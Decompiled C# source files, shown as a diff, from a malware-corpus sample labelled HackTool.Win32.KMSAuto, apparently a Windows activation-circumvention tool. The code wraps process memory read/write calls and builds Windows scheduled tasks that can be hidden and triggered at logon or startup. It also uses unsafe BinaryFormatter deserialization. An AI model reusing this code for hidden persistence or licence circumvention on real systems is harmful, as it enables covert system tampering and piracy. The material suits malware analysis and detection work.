+    public void WriteProcessMemory(IntPtr MemoryAddress, byte[] bytesToWrite, out int bytesWritten)
+    {
+      IntPtr lpNumberOfBytesWritten;
+      ProcessMemoryReaderApi.WriteProcessMemory(this.m_hProcess, MemoryAddress, bytesToWrite, (uint) bytesToWrite.Length, out lpNumberOfBytesWritten);
+      bytesWritten = lpNumberOfBytesWritten.ToInt32();
+    }
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/ProcessMemoryReaderLib/ProcessMemoryReaderApi.cs

@@ -0,0 +1,55 @@
+// Decompiled with JetBrains decompiler
+// Type: ProcessMemoryReaderLib.ProcessMemoryReaderApi
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+using System;
+using System.Runtime.InteropServices;
+
+namespace ProcessMemoryReaderLib
+{
+  internal class ProcessMemoryReaderApi
+  {
+    [DllImport("kernel32.dll")]
+    public static extern IntPtr OpenProcess(
+      uint dwDesiredAccess,
+      int bInheritHandle,
+      uint dwProcessId);
+
+    [DllImport("kernel32.dll")]
+    public static extern int CloseHandle(IntPtr hObject);
+
+    [DllImport("kernel32.dll")]
+    public static extern int ReadProcessMemory(
+      IntPtr hProcess,
+      IntPtr lpBaseAddress,
+      [In, Out] byte[] buffer,
+      uint size,
+      out IntPtr lpNumberOfBytesRead);
+
+    [DllImport("kernel32.dll")]
+    public static extern int WriteProcessMemory(
+      IntPtr hProcess,
+      IntPtr lpBaseAddress,
+      [In, Out] byte[] buffer,
+      uint size,
+      out IntPtr lpNumberOfBytesWritten);
+
+    [Flags]
+    public enum ProcessAccessType
+    {
+      PROCESS_TERMINATE = 1,
+      PROCESS_CREATE_THREAD = 2,
+      PROCESS_SET_SESSIONID = 4,
+      PROCESS_VM_OPERATION = 8,
+      PROCESS_VM_READ = 16, // 0x00000010
+      PROCESS_VM_WRITE = 32, // 0x00000020
+      PROCESS_DUP_HANDLE = 64, // 0x00000040
+      PROCESS_CREATE_PROCESS = 128, // 0x00000080
+      PROCESS_SET_QUOTA = 256, // 0x00000100
+      PROCESS_SET_INFORMATION = 512, // 0x00000200
+      PROCESS_QUERY_INFORMATION = 1024, // 0x00000400
+    }
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/TaskScheduler/DailyTrigger.cs

@@ -0,0 +1,40 @@
+// Decompiled with JetBrains decompiler
+// Type: TaskScheduler.DailyTrigger
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+using TaskSchedulerInterop;
+
+namespace TaskScheduler
+{
+  public class DailyTrigger : StartableTrigger
+  {
+    public DailyTrigger(short hour, short minutes, short daysInterval)
+    {
+      this.SetStartTime((ushort) hour, (ushort) minutes);
+      this.taskTrigger.Type = TaskTriggerType.TIME_TRIGGER_DAILY;
+      this.taskTrigger.Data.daily.DaysInterval = (ushort) daysInterval;
+    }
+
+    public DailyTrigger(short hour, short minutes)
+      : this(hour, minutes, (short) 1)
+    {
+    }
+
+    internal DailyTrigger(ITaskTrigger iTrigger)
+      : base(iTrigger)
+    {
+    }
+
+    public short DaysInterval
+    {
+      get => (short) this.taskTrigger.Data.daily.DaysInterval;
+      set
+      {
+        this.taskTrigger.Data.daily.DaysInterval = (ushort) value;
+        this.SyncTrigger();
+      }
+    }
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/TaskScheduler/DaysOfTheWeek.cs

@@ -0,0 +1,22 @@
+// Decompiled with JetBrains decompiler
+// Type: TaskScheduler.DaysOfTheWeek
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+using System;
+
+namespace TaskScheduler
+{
+  [Flags]
+  public enum DaysOfTheWeek : short
+  {
+    Sunday = 1,
+    Monday = 2,
+    Tuesday = 4,
+    Wednesday = 8,
+    Thursday = 16, // 0x0010
+    Friday = 32, // 0x0020
+    Saturday = 64, // 0x0040
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/TaskScheduler/MonthlyDOWTrigger.cs

@@ -0,0 +1,71 @@
+// Decompiled with JetBrains decompiler
+// Type: TaskScheduler.MonthlyDOWTrigger
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+using TaskSchedulerInterop;
+
+namespace TaskScheduler
+{
+  public class MonthlyDOWTrigger : StartableTrigger
+  {
+    public MonthlyDOWTrigger(
+      short hour,
+      short minutes,
+      DaysOfTheWeek daysOfTheWeek,
+      WhichWeek whichWeeks,
+      MonthsOfTheYear months)
+    {
+      this.SetStartTime((ushort) hour, (ushort) minutes);
+      this.taskTrigger.Type = TaskTriggerType.TIME_TRIGGER_MONTHLYDOW;
+      this.taskTrigger.Data.monthlyDOW.WhichWeek = (ushort) whichWeeks;
+      this.taskTrigger.Data.monthlyDOW.DaysOfTheWeek = (ushort) daysOfTheWeek;
+      this.taskTrigger.Data.monthlyDOW.Months = (ushort) months;
+    }
+
+    public MonthlyDOWTrigger(
+      short hour,
+      short minutes,
+      DaysOfTheWeek daysOfTheWeek,
+      WhichWeek whichWeeks)
+      : this(hour, minutes, daysOfTheWeek, whichWeeks, MonthsOfTheYear.January | MonthsOfTheYear.February | MonthsOfTheYear.March | MonthsOfTheYear.April | MonthsOfTheYear.May | MonthsOfTheYear.June | MonthsOfTheYear.July | MonthsOfTheYear.August | MonthsOfTheYear.September | MonthsOfTheYear.October | MonthsOfTheYear.November | MonthsOfTheYear.December)
+    {
+    }
+
+    internal MonthlyDOWTrigger(ITaskTrigger iTrigger)
+      : base(iTrigger)
+    {
+    }
+
+    public short WhichWeeks
+    {
+      get => (short) this.taskTrigger.Data.monthlyDOW.WhichWeek;
+      set
+      {
+        this.taskTrigger.Data.monthlyDOW.WhichWeek = (ushort) value;
+        this.SyncTrigger();
+      }
+    }
+
+    public DaysOfTheWeek WeekDays
+    {
+      get => (DaysOfTheWeek) this.taskTrigger.Data.monthlyDOW.DaysOfTheWeek;
+      set
+      {
+        this.taskTrigger.Data.monthlyDOW.DaysOfTheWeek = (ushort) value;
+        this.SyncTrigger();
+      }
+    }
+
+    public MonthsOfTheYear Months
+    {
+      get => (MonthsOfTheYear) this.taskTrigger.Data.monthlyDOW.Months;
+      set
+      {
+        this.taskTrigger.Data.monthlyDOW.Months = (ushort) value;
+        this.SyncTrigger();
+      }
+    }
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/TaskScheduler/MonthlyTrigger.cs

@@ -0,0 +1,79 @@
+// Decompiled with JetBrains decompiler
+// Type: TaskScheduler.MonthlyTrigger
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+using System;
+using TaskSchedulerInterop;
+
+namespace TaskScheduler
+{
+  public class MonthlyTrigger : StartableTrigger
+  {
+    public MonthlyTrigger(short hour, short minutes, int[] daysOfMonth, MonthsOfTheYear months)
+    {
+      this.SetStartTime((ushort) hour, (ushort) minutes);
+      this.taskTrigger.Type = TaskTriggerType.TIME_TRIGGER_MONTHLYDATE;
+      this.taskTrigger.Data.monthlyDate.Months = (ushort) months;
+      this.taskTrigger.Data.monthlyDate.Days = (uint) MonthlyTrigger.IndicesToMask(daysOfMonth);
+    }
+
+    public MonthlyTrigger(short hour, short minutes, int[] daysOfMonth)
+      : this(hour, minutes, daysOfMonth, MonthsOfTheYear.January | MonthsOfTheYear.February | MonthsOfTheYear.March | MonthsOfTheYear.April | MonthsOfTheYear.May | MonthsOfTheYear.June | MonthsOfTheYear.July | MonthsOfTheYear.August | MonthsOfTheYear.September | MonthsOfTheYear.October | MonthsOfTheYear.November | MonthsOfTheYear.December)
+    {
+    }
+
+    internal MonthlyTrigger(ITaskTrigger iTrigger)
+      : base(iTrigger)
+    {
+    }
+
+    public MonthsOfTheYear Months
+    {
+      get => (MonthsOfTheYear) this.taskTrigger.Data.monthlyDate.Months;
+      set
+      {
+        this.taskTrigger.Data.monthlyDOW.Months = (ushort) value;
+        this.SyncTrigger();
+      }
+    }
+
+    private static int[] MaskToIndices(int mask)
+    {
+      int length = 0;
+      for (int index = 0; mask >> index > 0; ++index)
+        length += 1 & mask >> index;
+      int[] indices = new int[length];
+      int num = 0;
+      for (int index = 0; mask >> index > 0; ++index)
+      {
+        if ((1 & mask >> index) == 1)
+          indices[num++] = index + 1;
+      }
+      return indices;
+    }
+
+    private static int IndicesToMask(int[] indices)
+    {
+      int mask = 0;
+      foreach (int index in indices)
+      {
+        if (index < 1 || index > 31)
+          throw new ArgumentException("Days must be in the range 1..31");
+        mask |= 1 << index - 1;
+      }
+      return mask;
+    }
+
+    public int[] Days
+    {
+      get => MonthlyTrigger.MaskToIndices((int) this.taskTrigger.Data.monthlyDate.Days);
+      set
+      {
+        this.taskTrigger.Data.monthlyDate.Days = (uint) MonthlyTrigger.IndicesToMask(value);
+        this.SyncTrigger();
+      }
+    }
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/TaskScheduler/MonthsOfTheYear.cs

@@ -0,0 +1,27 @@
+// Decompiled with JetBrains decompiler
+// Type: TaskScheduler.MonthsOfTheYear
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+using System;
+
+namespace TaskScheduler
+{
+  [Flags]
+  public enum MonthsOfTheYear : short
+  {
+    January = 1,
+    February = 2,
+    March = 4,
+    April = 8,
+    May = 16, // 0x0010
+    June = 32, // 0x0020
+    July = 64, // 0x0040
+    August = 128, // 0x0080
+    September = 256, // 0x0100
+    October = 512, // 0x0200
+    November = 1024, // 0x0400
+    December = 2048, // 0x0800
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/TaskScheduler/OnIdleTrigger.cs

@@ -0,0 +1,20 @@
+// Decompiled with JetBrains decompiler
+// Type: TaskScheduler.OnIdleTrigger
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+using TaskSchedulerInterop;
+
+namespace TaskScheduler
+{
+  public class OnIdleTrigger : Trigger
+  {
+    public OnIdleTrigger() => this.taskTrigger.Type = TaskTriggerType.EVENT_TRIGGER_ON_IDLE;
+
+    internal OnIdleTrigger(ITaskTrigger iTrigger)
+      : base(iTrigger)
+    {
+    }
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/TaskScheduler/OnLogonTrigger.cs

@@ -0,0 +1,20 @@
+// Decompiled with JetBrains decompiler
+// Type: TaskScheduler.OnLogonTrigger
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+using TaskSchedulerInterop;
+
+namespace TaskScheduler
+{
+  public class OnLogonTrigger : Trigger
+  {
+    public OnLogonTrigger() => this.taskTrigger.Type = TaskTriggerType.EVENT_TRIGGER_AT_LOGON;
+
+    internal OnLogonTrigger(ITaskTrigger iTrigger)
+      : base(iTrigger)
+    {
+    }
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/TaskScheduler/OnSystemStartTrigger.cs

@@ -0,0 +1,20 @@
+// Decompiled with JetBrains decompiler
+// Type: TaskScheduler.OnSystemStartTrigger
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+using TaskSchedulerInterop;
+
+namespace TaskScheduler
+{
+  public class OnSystemStartTrigger : Trigger
+  {
+    public OnSystemStartTrigger() => this.taskTrigger.Type = TaskTriggerType.EVENT_TRIGGER_AT_SYSTEMSTART;
+
+    internal OnSystemStartTrigger(ITaskTrigger iTrigger)
+      : base(iTrigger)
+    {
+    }
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/TaskScheduler/RunOnceTrigger.cs

@@ -0,0 +1,28 @@
+// Decompiled with JetBrains decompiler
+// Type: TaskScheduler.RunOnceTrigger
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+using System;
+using TaskSchedulerInterop;
+
+namespace TaskScheduler
+{
+  public class RunOnceTrigger : StartableTrigger
+  {
+    public RunOnceTrigger(DateTime runDateTime)
+    {
+      this.taskTrigger.BeginYear = (ushort) runDateTime.Year;
+      this.taskTrigger.BeginMonth = (ushort) runDateTime.Month;
+      this.taskTrigger.BeginDay = (ushort) runDateTime.Day;
+      this.SetStartTime((ushort) runDateTime.Hour, (ushort) runDateTime.Minute);
+      this.taskTrigger.Type = TaskTriggerType.TIME_TRIGGER_ONCE;
+    }
+
+    internal RunOnceTrigger(ITaskTrigger iTrigger)
+      : base(iTrigger)
+    {
+    }
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/TaskScheduler/ScheduledTasks.cs

@@ -0,0 +1,110 @@
+// Decompiled with JetBrains decompiler
+// Type: TaskScheduler.ScheduledTasks
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+using System;
+using System.Runtime.InteropServices;
+using TaskSchedulerInterop;
+
+namespace TaskScheduler
+{
+  public class ScheduledTasks : IDisposable
+  {
+    private ITaskScheduler its;
+    internal static Guid ITaskGuid = Marshal.GenerateGuidForType(typeof (ITask));
+    internal static Guid CTaskGuid = Marshal.GenerateGuidForType(typeof (CTask));
+
+    public ScheduledTasks(string computer)
+      : this()
+    {
+      this.its.SetTargetComputer(computer);
+    }
+
+    public ScheduledTasks() => this.its = (ITaskScheduler) new CTaskScheduler();
+
+    private string[] GrowStringArray(string[] s, uint n)
+    {
+      string[] strArray = new string[(long) s.Length + (long) n];
+      for (int index = 0; index < s.Length; ++index)
+        strArray[index] = s[index];
+      return strArray;
+    }
+
+    public string[] GetTaskNames()
+    {
+      string[] s = new string[0];
+      int num = 0;
+      IEnumWorkItems EnumWorkItems;
+      this.its.Enum(out EnumWorkItems);
+      uint Fetched;
+      IntPtr Names;
+      while (EnumWorkItems.Next(10U, out Names, out Fetched) >= 0 && Fetched > 0U)
+      {
+        s = this.GrowStringArray(s, Fetched);
+        while (Fetched > 0U)
+        {
+          IntPtr ptr = Marshal.ReadIntPtr(Names, (int) --Fetched * IntPtr.Size);
+          s[num++] = Marshal.PtrToStringUni(ptr);
+          Marshal.FreeCoTaskMem(ptr);
+        }
+        Marshal.FreeCoTaskMem(Names);
+      }
+      return s;
+    }
+
+    public Task CreateTask(string name)
+    {
+      Task task = this.OpenTask(name);
+      if (task != null)
+      {
+        task.Close();
+        throw new ArgumentException("The task \"" + name + "\" already exists.");
+      }
+      try
+      {
+        object obj;
+        this.its.NewWorkItem(name, ref ScheduledTasks.CTaskGuid, ref ScheduledTasks.ITaskGuid, out obj);
+        return new Task((ITask) obj, name);
+      }
+      catch
+      {
+        return (Task) null;
+      }
+    }
+
+    public bool DeleteTask(string name)
+    {
+      try
+      {
+        this.its.Delete(name);
+        return true;
+      }
+      catch
+      {
+        return false;
+      }
+    }
+
+    public Task OpenTask(string name)
+    {
+      try
+      {
+        object obj;
+        this.its.Activate(name, ref ScheduledTasks.ITaskGuid, out obj);
+        return new Task((ITask) obj, name);
+      }
+      catch
+      {
+        return (Task) null;
+      }
+    }
+
+    public void Dispose()
+    {
+      Marshal.ReleaseComObject((object) this.its);
+      this.its = (ITaskScheduler) null;
+    }
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/TaskScheduler/Scheduler.cs

@@ -0,0 +1,29 @@
+// Decompiled with JetBrains decompiler
+// Type: TaskScheduler.Scheduler
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+namespace TaskScheduler
+{
+  public class Scheduler
+  {
+    private readonly TaskList tasks;
+
+    public Scheduler() => this.tasks = new TaskList();
+
+    public Scheduler(string computer)
+    {
+      this.tasks = new TaskList();
+      this.TargetComputer = computer;
+    }
+
+    public string TargetComputer
+    {
+      get => this.tasks.TargetComputer;
+      set => this.tasks.TargetComputer = value;
+    }
+
+    public TaskList Tasks => this.tasks;
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/TaskScheduler/StartableTrigger.cs

@@ -0,0 +1,49 @@
+// Decompiled with JetBrains decompiler
+// Type: TaskScheduler.StartableTrigger
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+using System;
+using TaskSchedulerInterop;
+
+namespace TaskScheduler
+{
+  public abstract class StartableTrigger : Trigger
+  {
+    internal StartableTrigger()
+    {
+    }
+
+    internal StartableTrigger(ITaskTrigger iTrigger)
+      : base(iTrigger)
+    {
+    }
+
+    protected void SetStartTime(ushort hour, ushort minute)
+    {
+      this.StartHour = (short) hour;
+      this.StartMinute = (short) minute;
+    }
+
+    public short StartHour
+    {
+      get => (short) this.taskTrigger.StartHour;
+      set
+      {
+        this.taskTrigger.StartHour = value >= (short) 0 && value <= (short) 23 ? (ushort) value : throw new ArgumentOutOfRangeException("hour", (object) value, "hour must be between 0 and 23");
+        this.SyncTrigger();
+      }
+    }
+
+    public short StartMinute
+    {
+      get => (short) this.taskTrigger.StartMinute;
+      set
+      {
+        this.taskTrigger.StartMinute = value >= (short) 0 && value <= (short) 59 ? (ushort) value : throw new ArgumentOutOfRangeException("minute", (object) value, "minute must be between 0 and 59");
+        this.SyncTrigger();
+      }
+    }
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/TaskScheduler/Task.cs

@@ -0,0 +1,458 @@
+// Decompiled with JetBrains decompiler
+// Type: TaskScheduler.Task
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+using System;
+using System.Diagnostics;
+using System.IO;
+using System.Runtime.InteropServices;
+using System.Runtime.InteropServices.ComTypes;
+using System.Runtime.Serialization.Formatters.Binary;
+using System.Security;
+using TaskSchedulerInterop;
+
+namespace TaskScheduler
+{
+  public class Task : IDisposable
+  {
+    private ITask iTask;
+    private string name;
+    private TriggerList triggers;
+
+    internal Task(ITask iTask, string taskName)
+    {
+      this.iTask = iTask;
+      this.name = !taskName.EndsWith(".job") ? taskName : taskName.Substring(0, taskName.Length - 4);
+      this.triggers = (TriggerList) null;
+      this.Hidden = this.GetHiddenFileAttr();
+    }
+
+    public string Name => this.name;
+
+    public TriggerList Triggers
+    {
+      get
+      {
+        if (this.triggers == null)
+          this.triggers = new TriggerList(this.iTask);
+        return this.triggers;
+      }
+    }
+
+    public string ApplicationName
+    {
+      get
+      {
+        IntPtr ApplicationName;
+        this.iTask.GetApplicationName(out ApplicationName);
+        return CoTaskMem.LPWStrToString(ApplicationName);
+      }
+      set => this.iTask.SetApplicationName(value);
+    }
+
+    public string AccountName
+    {
+      get
+      {
+        IntPtr AccountName = IntPtr.Zero;
+        this.iTask.GetAccountInformation(out AccountName);
+        return CoTaskMem.LPWStrToString(AccountName);
+      }
+    }
+
+    public string Comment
+    {
+      get
+      {
+        IntPtr Comment;
+        this.iTask.GetComment(out Comment);
+        return CoTaskMem.LPWStrToString(Comment);
+      }
+      set => this.iTask.SetComment(value);
+    }
+
+    public string Creator
+    {
+      get
+      {
+        IntPtr Creator;
+        this.iTask.GetCreator(out Creator);
+        return CoTaskMem.LPWStrToString(Creator);
+      }
+      set => this.iTask.SetCreator(value);
+    }
+
+    private short ErrorRetryCount
+    {
+      get
+      {
+        ushort RetryCount;
+        this.iTask.GetErrorRetryCount(out RetryCount);
+        return (short) RetryCount;
+      }
+      set => this.iTask.SetErrorRetryCount((ushort) value);
+    }
+
+    private short ErrorRetryInterval
+    {
+      get
+      {
+        ushort RetryInterval;
+        this.iTask.GetErrorRetryInterval(out RetryInterval);
+        return (short) RetryInterval;
+      }
+      set => this.iTask.SetErrorRetryInterval((ushort) value);
+    }
+
+    public int ExitCode
+    {
+      get
+      {
+        uint ExitCode = 0;
+        this.iTask.GetExitCode(out ExitCode);
+        return (int) ExitCode;
+      }
+    }
+
+    public TaskFlags Flags
+    {
+      get
+      {
+        uint Flags;
+        this.iTask.GetFlags(out Flags);
+        return (TaskFlags) Flags;
+      }
+      set => this.iTask.SetFlags((uint) value);
+    }
+
+    public short IdleWaitMinutes
+    {
+      get
+      {
+        ushort IdleMinutes;
+        this.iTask.GetIdleWait(out IdleMinutes, out ushort _);
+        return (short) IdleMinutes;
+      }
+      set
+      {
+        ushort waitDeadlineMinutes = (ushort) this.IdleWaitDeadlineMinutes;
+        this.iTask.SetIdleWait((ushort) value, waitDeadlineMinutes);
+      }
+    }
+
+    public short IdleWaitDeadlineMinutes
+    {
+      get
+      {
+        ushort DeadlineMinutes;
+        this.iTask.GetIdleWait(out ushort _, out DeadlineMinutes);
+        return (short) DeadlineMinutes;
+      }
+      set => this.iTask.SetIdleWait((ushort) this.IdleWaitMinutes, (ushort) value);
+    }
+
+    public TimeSpan MaxRunTime
+    {
+      get
+      {
+        uint MaxRunTimeMS;
+        this.iTask.GetMaxRunTime(out MaxRunTimeMS);
+        return new TimeSpan((long) MaxRunTimeMS * 10000L);
+      }
+      set
+      {
+        double totalMilliseconds = value.TotalMilliseconds;
+        if (totalMilliseconds >= (double) uint.MaxValue)
+          this.iTask.SetMaxRunTime(uint.MaxValue);
+        else
+          this.iTask.SetMaxRunTime((uint) totalMilliseconds);
+      }
+    }
+
+    public bool MaxRunTimeLimited
+    {
+      get
+      {
+        uint MaxRunTimeMS;
+        this.iTask.GetMaxRunTime(out MaxRunTimeMS);
+        return MaxRunTimeMS == uint.MaxValue;
+      }
+      set
+      {
+        if (value)
+        {
+          uint MaxRunTimeMS;
+          this.iTask.GetMaxRunTime(out MaxRunTimeMS);
+          if (MaxRunTimeMS != uint.MaxValue)
+            return;
+          this.iTask.SetMaxRunTime(25920000U);
+        }
+        else
+          this.iTask.SetMaxRunTime(uint.MaxValue);
+      }
+    }
+
+    public DateTime MostRecentRunTime
+    {
+      get
+      {
+        SystemTime LastRun = new SystemTime();
+        this.iTask.GetMostRecentRunTime(ref LastRun);
+        return LastRun.Year == (ushort) 0 ? DateTime.MinValue : new DateTime((int) LastRun.Year, (int) LastRun.Month, (int) LastRun.Day, (int) LastRun.Hour, (int) LastRun.Minute, (int) LastRun.Second, (int) LastRun.Milliseconds);
+      }
+    }
+
+    public DateTime NextRunTime
+    {
+      get
+      {
+        SystemTime NextRun = new SystemTime();
+        this.iTask.GetNextRunTime(ref NextRun);
+        return NextRun.Year == (ushort) 0 ? DateTime.MinValue : new DateTime((int) NextRun.Year, (int) NextRun.Month, (int) NextRun.Day, (int) NextRun.Hour, (int) NextRun.Minute, (int) NextRun.Second, (int) NextRun.Milliseconds);
+      }
+    }
+
+    public string Parameters
+    {
+      get
+      {
+        IntPtr Parameters;
+        this.iTask.GetParameters(out Parameters);
+        return CoTaskMem.LPWStrToString(Parameters);
+      }
+      set => this.iTask.SetParameters(value);
+    }
+
+    public ProcessPriorityClass Priority
+    {
+      get
+      {
+        uint Priority;
+        this.iTask.GetPriority(out Priority);
+        return (ProcessPriorityClass) Priority;
+      }
+      set
+      {
+        if (value == ProcessPriorityClass.AboveNormal || value == ProcessPriorityClass.BelowNormal)
+          throw new ArgumentException("Unsupported Priority Level");
+        this.iTask.SetPriority((uint) value);
+      }
+    }
+
+    public TaskStatus Status
+    {
+      get
+      {
+        int Status;
+        this.iTask.GetStatus(out Status);
+        return (TaskStatus) Status;
+      }
+    }
+
+    private int FlagsEx
+    {
+      get
+      {
+        uint Flags;
+        this.iTask.GetTaskFlags(out Flags);
+        return (int) Flags;
+      }
+      set => this.iTask.SetTaskFlags((uint) value);
+    }
+
+    public string WorkingDirectory
+    {
+      get
+      {
+        IntPtr WorkingDirectory;
+        this.iTask.GetWorkingDirectory(out WorkingDirectory);
+        return CoTaskMem.LPWStrToString(WorkingDirectory);
+      }
+      set => this.iTask.SetWorkingDirectory(value);
+    }
+
+    public bool Hidden
+    {
+      get => (this.Flags & TaskFlags.Hidden) != (TaskFlags) 0;
+      set
+      {
+        if (value)
+          this.Flags |= TaskFlags.Hidden;
+        else
+          this.Flags &= ~TaskFlags.Hidden;
+      }
+    }
+
+    public object Tag
+    {
+      get
+      {
+        ushort DataLen;
+        IntPtr Data;
+        this.iTask.GetWorkItemData(out DataLen, out Data);
+        byte[] numArray = new byte[(int) DataLen];
+        Marshal.Copy(Data, numArray, 0, (int) DataLen);
+        return new BinaryFormatter().Deserialize((Stream) new MemoryStream(numArray, false));
+      }
+      set
+      {
+        if (!value.GetType().IsSerializable)
+          throw new ArgumentException("Objects set as Data for Tasks must be serializable", nameof (value));
+        BinaryFormatter binaryFormatter = new BinaryFormatter();
+        MemoryStream serializationStream = new MemoryStream();
+        binaryFormatter.Serialize((Stream) serializationStream, value);
+        this.iTask.SetWorkItemData((ushort) serializationStream.Length, serializationStream.GetBuffer());
+      }
+    }
+
